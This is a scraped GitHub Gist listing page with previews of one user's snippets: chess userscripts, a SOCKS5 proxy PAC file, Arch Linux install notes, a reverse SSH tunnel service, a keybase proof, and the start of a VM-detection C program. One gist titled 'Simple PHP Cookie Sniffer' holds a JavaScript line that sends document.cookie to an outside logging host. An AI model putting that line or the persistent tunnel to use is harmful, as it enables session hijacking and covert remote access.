Skip to content

Instantly share code, notes, and snippets.

// ==UserScript==
// @name ___ChromeExtention_Keyboard
// @version 1
// @grant none
// @run-at document-start
// @include /^https:\/\/(lichess\.org|lichess\.dev|mskchess\.ru)\/(\w{8}|\w{12})(\/white|\/black)?$
// The original script and inspiration by Vempele: https://gist.github.com/Vempele/46333e85e33b6d488c3ffb131942272d
// ==/UserScript==
(() => {
@farukuzun
farukuzun / round.min.js
Created September 30, 2020 18:58
Lichess Round.Js
var LichessRound=function(e){"use strict";var t="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function o(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}function n(e,t,o){return e(o={path:t,exports:{},require:function(e,t){return function(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")}(null==t&&o.path)}},o.exports),o.exports}function r(e){if(e.__esModule)return e;var t=Object.defineProperty({},"__esModule",{value:!0});return Object.keys(e).forEach((function(o){var n=Object.getOwnPropertyDescriptor(e,o);Object.defineProperty(t,o,n.get?n:{enumerable:!0,get:function(){return e[o]}})})),t}var s=n((function(e,t){Object.defineProperty(t,"__esModule",{value:!0});function o(e,t){var o,n=t.elm,r=e.data.attrs,s=t.data.attrs;if((r||s)&&r!==s){for(o in r=r||{},s=s||{}){var i=s[o];r[o]!==i&&(!0===i?n.setAttribute(o,""):!1===i?n.removeAttribu
@farukuzun
farukuzun / proxy.pac
Last active April 15, 2020 19:30 — forked from sahal/proxy.pac
Proxy Auto Configuration - SOCKS5 Sample
function FindProxyForURL(url, host)
{
return "SOCKS5 192.168.8.141:8080;";
}
@farukuzun
farukuzun / user.js
Last active December 22, 2020 16:47
user.js
// ==UserScript==
// @name 912 Bizimhesap
// @namespace http://tampermonkey.net/
// @version 0.1
// @description Fixes menus
// @author Faruk
// @match https://bizimhesap.com/*
// @grant none
// ==/UserScript==
@farukuzun
farukuzun / ARCH_INSTALL.MD
Last active October 14, 2018 15:50 — forked from heppu/ARCH_INSTALL.MD
Installing Arch with GPT, dm-crypt, LUKS, LVM and systemd-boot, XPS 15

Create bootable USB

dd bs=4M if=/path/to/archlinux.iso of=/dev/sdx status=progress && sync

Boot from USB and set prepare system

loadkeys <your-keymap>
@farukuzun
farukuzun / reverse-ssh-tunnel.service
Created February 9, 2018 15:56 — forked from samos123/reverse-ssh-tunnel.service
/etc/systemd/system/reverse-ssh-tunnel.service to keep a reverse ssh tunnel restarted automatically
[Unit]
Description=Phone Home Reverse SSH Service
ConditionPathExists=|/usr/bin
After=network.target
[Service]
User=sshtunnel
ExecStart=/usr/bin/ssh -NTC -o ServerAliveInterval=60 -o ExitOnForwardFailure=yes -o StrictHostKeyChecking=no -i /home/sshtunnel/.ssh/id_rsa -R 22223:localhost:22 user@remote-ssh-server
# Restart every >2 seconds to avoid StartLimitInterval failure
RestartSec=3
@farukuzun
farukuzun / get.js
Last active July 13, 2019 19:20
Simple PHP Cookie Sniffer
i=new/**/Image();i.src='http://host/log.php?cookie='+escape(document.cookie);
@farukuzun
farukuzun / keybase.md
Created September 19, 2014 16:05
keybase.md

Keybase proof

I hereby claim:

  • I am farukuzun on github.
  • I am faruk (https://keybase.io/faruk) on keybase.
  • I have a public key whose fingerprint is 0085 478E 1CEE 4FFA 3E8F 5CD8 81D7 CAA5 EE62 0B33

To claim this, I am signing this object:

@farukuzun
farukuzun / VMBuster.c
Last active August 29, 2015 14:06 — forked from c0d3inj3cT/VMBuster.c
#include <windows.h>
#include <stdio.h>
#include <TlHelp32.h>
#include <Setupapi.h>
#include <string.h>
void vmx_check();
void process_name_check();
void class_name_check();
void cpuid_check();
@farukuzun
farukuzun / pip_find.py
Created July 15, 2014 11:35
pip_find.py
from __future__ import absolute_import
import os
import re
import argparse
from functools import partial
import logging
import sys
import json
try:
import urllib2 as urllib_request # Python2